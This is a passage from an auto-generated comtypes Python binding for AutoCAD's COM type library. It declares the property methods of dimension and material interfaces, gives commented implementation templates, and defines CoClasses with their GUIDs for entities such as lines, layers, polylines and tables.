HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'ExtLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'ExtLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'ExtLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'ExtLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'DimLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'DimLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'ExtLine1Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'ExtLine1Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'ExtLine2Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'ExtLine2Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n]\n################################################################\n## code template for IAcadDim3PointAngular implementation\n##class IAcadDim3PointAngular_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return xLine1Point\n## def _set(self, xLine1Point):\n## '-no docstring-'\n## ExtLine1EndPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return xLine2Point\n## def _set(self, xLine2Point):\n## '-no docstring-'\n## ExtLine2EndPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return AngleVertex\n## def _set(self, AngleVertex):\n## '-no docstring-'\n## AngleVertex = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return AngleVertex\n## def _set(self, AngleVertex):\n## '-no docstring-'\n## TextPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## AngleFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## ExtensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## HorizontalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## DimLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine1Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine2Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAcadMaterials(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{5DABEB7C-DE8C-4499-9BC1-976FF08F19AC}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadMaterial(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{82CD8077-8E62-4AEE-85DB-C6BEACFBD741}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadMaterials._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMaterial)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMaterial)), 'pDimStyle' )),\n]\n################################################################\n## code template for IAcadMaterials implementation\n##class IAcadMaterials_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pDimStyle\n##\n\nclass AcadHyperlinks(CoClass):\n _reg_clsid_ = GUID('{45C632D0-F5DD-4C7C-9182-0BDE8A77119B}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadHyperlinks._com_interfaces_ = [IAcadHyperlinks]\n\nIAcadMaterial._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDes' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Description',\n ( ['in'], BSTR, 'bstrDes' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n]\n################################################################\n## code template for IAcadMaterial implementation\n##class IAcadMaterial_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrDes\n## def _set(self, bstrDes):\n## '-no docstring-'\n## Description = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadLWPolyline(CoClass):\n _reg_clsid_ = GUID('{3E475628-C0C3-4BA5-9469-64B3802121B0}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLWPolyline(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{2916D4BE-B6CF-479E-B795-0CD3AAC93D51}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLWPolyline._com_interfaces_ = [IAcadLWPolyline]\nAcadLWPolyline._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMLeaderStyle(CoClass):\n _reg_clsid_ = GUID('{E1F219D1-1558-4EAB-B6EF-5B9A2A57FCA7}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadMLeaderStyle(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{CFBC9C0A-9C90-428D-9EB6-9F6E76F6C086}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadMLeaderStyle._com_interfaces_ = [IAcadMLeaderStyle]\nAcadMLeaderStyle._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDictionary(CoClass):\n _reg_clsid_ = GUID('{C5F3036D-ACD5-40A6-B822-5BEDA2C80683}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDictionary._com_interfaces_ = [IAcadDictionary]\nAcadDictionary._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadLine(CoClass):\n _reg_clsid_ = GUID('{19024DF1-65F2-41D2-9FC2-C6D16B51FCB6}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLine(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{57148E79-E703-4C07-997F-A87EADCC03EB}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLine._com_interfaces_ = [IAcadLine]\nAcadLine._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass Acad3DFace(CoClass):\n _reg_clsid_ = GUID('{463D5542-C77E-4F8C-85FF-D7493A43BD3F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcad3DFace(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{0A6CE6AA-2A8C-4040-AA5B-9BE3E68A5945}')\n _idlflags_ = ['dual', 'oleautomation']\nAcad3DFace._com_interfaces_ = [IAcad3DFace]\nAcad3DFace._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadLayers(CoClass):\n _reg_clsid_ = GUID('{273D815C-6C08-4AFA-904D-A124C65D8583}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLayers(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{276D0DB1-26BA-4E72-93C6-E15EAEBAADED}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLayers._com_interfaces_ = [IAcadLayers]\nAcadLayers._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMLeaderLeader(CoClass):\n _reg_clsid_ = GUID('{53A02CFF-6900-4D72-9FF5-B9D6BF66AACC}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSubEntity(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{80EE347D-F0D4-4F1E-96A5-D290AAEDADBF}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadMLeaderLeader(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{1ECC1CF4-D5DC-4F6F-97BA-D0449E48002F}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadMLeaderLeader._com_interfaces_ = [IAcadMLeaderLeader]\nAcadMLeaderLeader._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimStyles(CoClass):\n _reg_clsid_ = GUID('{C89600D1-9CAB-4333-9698-55860F7EB4FB}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDimStyles(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{CC87A11F-7DC4-4869-A7E7-28CE72E3A8B6}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDimStyles._com_interfaces_ = [IAcadDimStyles]\nAcadDimStyles._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadSolid(CoClass):\n _reg_clsid_ = GUID('{8CDF4C9E-F1C5-4264-B3E7-6AA44B5BB89F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSolid(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{064CB0D1-97F5-4639-9679-29535F30C557}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSolid._com_interfaces_ = [IAcadSolid]\nAcadSolid._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDictionaries(CoClass):\n _reg_clsid_ = GUID('{AF26D17C-C40A-4DBE-B742-F029DCC4F3C0}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadDictionaries(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{96DF2067-396E-429A-9D4E-444DE977CE8D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadDictionaries._com_interfaces_ = [IAcadDictionaries]\nAcadDictionaries._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadLineTypes(CoClass):\n _reg_clsid_ = GUID('{875F8998-EC9A-4D25-ADC2-5D3178D8EA3C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLineTypes(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{77926692-1E0C-4D84-94B9-566D365C9B15}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLineTypes._com_interfaces_ = [IAcadLineTypes]\nAcadLineTypes._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMText(CoClass):\n _reg_clsid_ = GUID('{62633E55-0DCC-48D7-8438-3FA131CADF6C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadMText(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{A5D8740C-B207-4251-BCA6-7E41A7ABB33D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadMText._com_interfaces_ = [IAcadMText]\nAcadMText._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadMaterials(CoClass):\n _reg_clsid_ = GUID('{8F96AC9F-4CCC-4A0A-8BEA-70412E23160C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadMaterials._com_interfaces_ = [IAcadMaterials]\nAcadMaterials._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPoint(CoClass):\n _reg_clsid_ = GUID('{EEF55288-C754-491C-B4E1-D53393BF88AD}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPoint(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{94C851C5-82E4-40DF-B7DB-D000D0AB90F0}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPoint._com_interfaces_ = [IAcadPoint]\nAcadPoint._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadTextStyles(CoClass):\n _reg_clsid_ = GUID('{33958D6A-4322-4590-9227-C0323C439B86}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadTextStyles(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{23DAAF27-ADF7-4ADE-8E59-4136EBDBFC00}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadTextStyles._com_interfaces_ = [IAcadTextStyles]\nAcadTextStyles._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPolyline(CoClass):\n _reg_clsid_ = GUID('{46AEE2CC-A92F-4BA9-B6B3-13403D79D6D3}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPolyline(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{D42053BC-2377-4E6A-8DE2-61EF77F512B7}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPolyline._com_interfaces_ = [IAcadPolyline]\nAcadPolyline._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadUCSs(CoClass):\n _reg_clsid_ = GUID('{0D11ACB2-2120-4B39-AAA4-BC7A9B2DA429}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadUCSs(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{166BE29B-BC14-49F0-8B3D-07FF2BAFAD0E}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadUCSs._com_interfaces_ = [IAcadUCSs]\nAcadUCSs._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadPolygonMesh(CoClass):\n _reg_clsid_ = GUID('{73ED65E4-EF95-488E-9F14-C01D69125A48}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPolygonMesh(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{FB167EC0-A75B-46EB-875B-125F757FFEA5}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPolygonMesh._com_interfaces_ = [IAcadPolygonMesh]\nAcadPolygonMesh._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadRegisteredApplications(CoClass):\n _reg_clsid_ = GUID('{0796C07B-889A-4D0C-BC16-939AD0B689F4}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadRegisteredApplications(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{0DF536E7-177E-4A4A-9BFF-FED21241DE8A}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadRegisteredApplications._com_interfaces_ = [IAcadRegisteredApplications]\nAcadRegisteredApplications._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadTable(CoClass):\n _reg_clsid_ = GUID('{5D0F5C31-DF55-446B-AAA2-2A563235BA44}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadTable._com_interfaces_ = [IAcadTable]\nAcadTable._outgoing_interfaces_ = 